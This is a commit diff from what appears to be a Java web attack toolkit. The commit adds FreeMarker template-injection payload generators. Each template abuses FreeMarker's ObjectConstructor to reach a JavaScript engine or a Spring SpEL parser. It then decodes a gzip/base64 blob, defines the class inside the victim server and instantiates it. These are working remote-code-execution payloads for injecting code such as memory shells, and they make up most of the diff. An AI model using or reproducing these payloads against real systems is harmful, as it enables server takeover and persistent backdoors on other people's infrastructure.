feat: support Freemarker SpEL packer

This commit is contained in:
ReaJason
2026-08-30 21:05:21 +08:00
parent 3c91ba50e9
commit 0e59054937
14 changed files with 161 additions and 25 deletions
@@ -13,6 +13,9 @@ import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePa
import com.reajason.javaweb.packer.deserialize.java.*;
import com.reajason.javaweb.packer.el.ELPacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerScriptEnginePacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipJDK17Packer;
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipPacker;
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
import com.reajason.javaweb.packer.groovy.GroovyPacker;
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
@@ -142,6 +145,9 @@ public enum Packers {
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
Freemarker(new FreemarkerPacker()),
FreemarkerScriptEngine(new FreemarkerScriptEnginePacker(), FreemarkerPacker.class),
FreemarkerSpELSpringGzip(new FreemarkerSpELSpringGzipPacker(), FreemarkerPacker.class),
FreemarkerSpELSpringGzipJDK17(new FreemarkerSpELSpringGzipJDK17Packer(), FreemarkerPacker.class),
Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()),
XMLDecoder(new XMLDecoderPacker()),
@@ -1,19 +1,10 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class FreemarkerPacker implements Packer {
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
public class FreemarkerPacker implements AggregatePacker {
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class FreemarkerScriptEnginePacker implements Packer {
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
/**
* JDK 17-compatible FreeMarker/SpEL class-definition payload.
*
* @author ReaJason
* @since 2026/8/30
*/
public class FreemarkerSpELSpringGzipJDK17Packer implements Packer {
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()\").getValue()}";
@Override
public String pack(ClassPackerConfig config) {
String className = config.getClassName();
assertClassNameValid(className);
return template.replace("{{className}}", className)
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* Uses FreeMarker's ObjectConstructor to create a SpEL parser and evaluate a
* compressed class-definition expression.
*
* @author ReaJason
* @since 2026/8/30
*/
public class FreemarkerSpELSpringGzipPacker implements Packer {
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}